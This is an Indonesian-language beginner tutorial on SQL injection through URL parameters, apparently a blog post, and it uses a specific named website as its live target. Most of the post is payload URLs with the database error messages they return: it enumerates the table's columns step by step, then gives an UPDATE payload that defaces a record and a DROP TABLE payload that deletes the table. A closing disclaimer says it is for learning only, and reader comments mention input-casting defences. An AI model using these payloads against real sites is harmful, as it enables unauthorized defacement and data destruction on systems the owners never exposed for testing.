Belajar Teknik Hacking SQL Injection [Pada URL]
Untuk Pemula
Untuk Pemula
Pada kesempatan kali ini, saya akan mencoba menerangkan tentang serangan ke suatu website menggunakan teknik SQL Injection. Saya akan menunjukkan SQL Injection melalui URL. Pada dasarnya caranya adalah sama karena keduanya sama- sama merupakan parameter input.
Teknik untuk menemukan nama field dan table ditemukan oleh david Litcfield. Teknik yang digunakan disini adalah dengan membuat terjadinya error menggunakan perintah having 1=1
STEP 1
Oke, kita langsung masuk ke contoh nyata. Web target kita kali ini ialah :
http://www.24x7learning.com/Press_Releases/news.asp?id=57
Untuk mendapatkan nama table dan nama field pertama, ialah dengan cara memasukkan perintah dibawah ini pada browser :
http://www.24x7learning.com/Press_Releases/news.asp?id=57 having 1=1
Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini :
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6
Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :
nama table = media
nama field pertama = id
STEP 2
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :
http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id having 1=1
Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini :
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.mediadate' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6
Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :
nama field kedua = mediadate
STEP 3
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :
http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate having 1=1
Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.mediatitle' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6
Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :
nama field ketiga = mediatitle
STEP 4
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :
http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate,media.mediatitle having 1=1
Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.mediapublisher' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6
Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :
nama field keempat= mediapublisher
STEP 5
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :
http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate,media.mediatitle,media.mediapublisher having 1=1
Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini :
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.mediapath' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6
Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :
nama field kelima= mediapath
STEP 6
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :
http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate,media.mediatitle,media.mediapublisher,media.mediapath having 1=1
Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.ishtml' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6
Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :
nama field keenam= ishtml
STEP 7
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :
http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate,media.mediatitle,media.mediapublisher,media.mediapath,media.ishtml having 1=1
Dengan perintah tersebut, maka kita tidak akan mendapatkan pesan error apapun. Artinya, bahwa pencarian field sudah selesai.
HACKING STEP....
MERUBAH DATA
Untuk merubah data, gunakanlah command SQL yaitu UPDATE. Contohnya kita akan merubah isi dari field ”mediapublisher”, perintah lengkapnya ialah :
http://www.24x7learning.com/Press_Releases/news.asp?id=57; UPDATE media set mediapublisher=’HACKER WAS HERE’ where id=57;
Sekarang Anda coba akses alamat :
http://www.24x7learning.com/Press_Releases/news.asp?id=57
Silahkan, lihat perubahannya.
MENGHAPUS TABLE
Tindakan yang paling “extreme” ialah menghapus/ drop table. Untuk melakukannya Anda bisa menggunakan comman SQL, yaitu DROP. Perintah lengkapnya ialah :
http://www.24x7learning.com/Press_Releases/news.asp?id=57; drop table
media;
End….
Artikel ini hanya untuk tujuan pembelajaran semata. Tidak pernah dibenarkan untuk melakukan kegiatan cracking kepada suatu website. Satu hal yang perlu Anda ketahui ialah dengan melakukan deface terhadap 100 website tidak akan menjadikan Anda seorang Hacker.
Regards,
Psychozetic
5 comments:
nice info yud tar cek dulu ah
Ribet banget yach...
hehe... :)
jika menggunakan perintah get data "$id = abs((int)$_GET['id'])"
trik SQL injection tidak berlaku...
CMIIW
@husni : pake ini juga bisa bro
= mysql_escape_string($id)
Mantap bang ..sama kayak localdhostpayadmin, beda nya ini lagsung web bongkar2 .dan localdhostpayadmin hanya membuat tabel kita sendiri ..,
Post a Comment